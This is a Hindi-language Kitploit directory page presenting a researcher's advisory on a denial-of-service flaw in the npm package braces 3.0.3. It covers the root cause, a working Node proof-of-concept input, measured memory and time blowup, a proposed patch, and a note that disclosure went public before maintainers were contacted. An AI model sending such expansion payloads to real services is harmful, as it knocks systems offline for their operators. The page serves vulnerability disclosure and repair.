Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
DoS-Braces-3.03 — CVE-Candidate: braces@3.0.3 में अल्पविराम-पृथक ब्रेस विस्तार के माध्यम से DoS (CVE-2024-4068 अपूर्ण सुधार) | Kitploit
उपकरण/GitHubGitHub/cyeezy08/dos-braces-3.03
स्थैतिक विश्लेषणभेद्यता विश्लेषणकोड विश्लेषणशोषणफज़िंग
GitHubcyeezy08/dos-braces-3.03

DoS-Braces-3.03

CVE-Candidate: [email protected] में अल्पविराम-पृथक ब्रेस विस्तार के माध्यम से DoS (CVE-2024-4068 अपूर्ण सुधार)

रिपॉजिटरी देखें
20 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-उम्मीदवार: कोमा-पृथक ब्रेस विस्तार के माध्यम से ब्रेसेस में सेवा अस्वीकार

पैकेज: braces (npm) संस्करण: 3.0.3 (नवीनतम) गंभीरता: उच्च (CVSS 7.5) CWE: CWE-400 अनियंत्रित संसाधन खपत स्थिति: अरिपोर्टेड

नोट: यह एक स्वतंत्र खोज है। CVE-2024-4068 ने इनपुट लंबाई सीमित करने (MAX_LENGTH=10000) को संबोधित किया, लेकिन कोमा-पृथक ब्रेस पैटर्न से संयोजनात्मक आउटपुट विस्फोट को ठीक नहीं किया। CVE-2026-45149 एक अलग पैकेज (juliangruber/brace-expansion) को प्रभावित करता है, न कि micromatch/braces को।


कमजोरी

braces लाइब्रेरी कोमा-पृथक ब्रेस विस्तार पैटर्न प्रसंस्करण करते समय अनियंत्रित संसाधन खपत के माध्यम से सेवा अस्वीकार के प्रति संवेदनशील है।

केवल 110 वर्णों जितना एक दुर्भावनापूर्ण इनपुट लाइब्रेरी को मेमोरी में 4.2 मिलियन आइटम उत्पन्न करने, 1.2GB+ RAM की खपत करने और 9-30 सेकंड के लिए CPU को अवरुद्ध करने का कारण बनता है (हार्डवेयर के अनुसार भिन्न होता है)।

यह CVE-2024-4068 के लिए एक अपूर्ण सुधार है। मूल पैच ने इनपुट लंबाई को 10,000 वर्णों तक सीमित किया लेकिन कोमा-पृथक विस्तारों के संयोजनात्मक आउटपुट को सीमित नहीं किया।

प्रभाव

braces micromatch की एक निर्भरता है, जिसका उपयोग निम्न द्वारा किया जाता है:

  • webpack (बंडलर)
  • vitest (परीक्षण रनर)
  • jest (परीक्षण रनर)
  • eslint (लिंटर)
  • chokidar (फ़ाइल वॉचर)
  • सैकड़ों अन्य उपकरण

कोई भी एप्लिकेशन जो उपयोगकर्ता-नियंत्रित इनपुट को braces.expand() में पास करता है, संवेदनशील है।

मूल कारण

lib/expand.js में, rangeLimit गार्ड केवल संख्यात्मक श्रेणियों ({1..1000}) की जांच करता है, कोमा-पृथक पैटर्न ({a,b}) की नहीं:

root@kitploit:~
// lib/expand.js:57
if (node.ranges > 0) {  // only numeric ranges are checked
  if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
    throw new RangeError('...');
  }
}
// Comma-separated expansions skip this check entirely

append() फ़ंक्शन बिना किसी आउटपुट सीमा के सभी 2^N संयोजनों को एक सरणी में पुनरावर्ती रूप से बनाता है।

प्रमाण की अवधारणा

त्वरित परीक्षण

root@kitploit:~
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"

पूर्ण PoC स्क्रिप्ट

root@kitploit:~
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py

परीक्षण परिणाम

आइटम गणना नियतात्मक हैं। समय और मेमोरी हार्डवेयर के अनुसार भिन्न होते हैं।

कमजोरी का सबूत (PoC आउटपुट)

root@kitploit:~
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================

[*] Finding DoS threshold...

  n=10: input=   50 chars ->      1,024 items,      4,096 chars,     11ms, +912KB
  n=15: input=   75 chars ->     32,768 items,    163,840 chars,     96ms, +15915KB
  n=18: input=   90 chars ->    262,144 items,  1,310,720 chars,    737ms, +115535KB
  n=20: input=  100 chars ->  1,048,576 items,  5,242,880 chars,   1833ms, +242558KB
  n=22: input=  110 chars ->  4,194,304 items, 20,971,520 chars,   9723ms, +1196410KB
  n=25: TIMEOUT/OOM

[*] निष्कर्ष:
  - इनपुट आकार: 110 वर्ण (10,000 वर्ण सीमा के भीतर)
  - मेमोरी खपत: >1.2GB
  - CPU अवरोध समय: ~10 सेकंड

प्रभावित कोड पथ

root@kitploit:~
braces.expand(input)
  -> lib/expand.js:walk()
    -> lib/expand.js:append()  <- no output limit
      -> recursively builds all 2^N combinations
        -> returns massive array

अनुशंसित सुधार

संयोजनात्मक विस्फोट को रोकने के लिए lib/expand.js में प्रत्येक संयोजन चरण पर एक सीमा जांच जोड़ें। walk() के अंदर append के कॉल को एक मान्यता सहायक के साथ लपेटें:

root@kitploit:~
const queueLimit = (queue, stash, enclose) => {
  if (rangeLimit === Infinity) return append(queue, stash, enclose);
  const queueLength = queue ? [].concat(queue).length : 0;
  const stashLength = [].concat(stash).length;
  const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
  if (nextLength > rangeLimit) {
    throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
  }
  return append(queue, stash, enclose);
};

walk() के अंदर append() के कॉल को queueLimit() से बदलने से यह सुनिश्चित होता है कि लगातार ब्रेसेस और श्रेणियों के संयोजन सुरक्षित रूप से बाध्य हैं।

प्रकटीकरण समयरेखा

तिथिघटना
2026-07-17कमजोरी की खोज
2026-07-21सार्वजनिक प्रकटीकरण (जिम्मेदार प्रकटीकरण अभी शुरू नहीं हुआ)

फ़ाइलें

श्रेय

द्वारा खोजा गया cyeezy08।

टूल डाउनलोड करें
इनपुट (वर्ण)आउटपुट आइटमसमय (लगभग)मेमोरी (लगभग)
501,024~10ms~1MB
7532,768~100ms~16MB
90262,144~700ms~116MB
1001,048,576~2-4s~243-468MB
1104,194,304~10-30s~1.2GB+
125+Crash/OOMTimeoutOOM Kill
फ़ाइलविवरण
poc_braces_dos.pyकार्यशील PoC स्क्रिप्ट
findings.mdविस्तृत कमजोरी विश्लेषण
verdict.mdपुष्टि और CVSS स्कोर
disclosure-report.mdसबमिट करने के लिए तैयार सलाह
patch.difflib/expand.js के लिए प्रस्तावित सुधार
email-draft.txtअनुरक्षकों को मसौदा ईमेल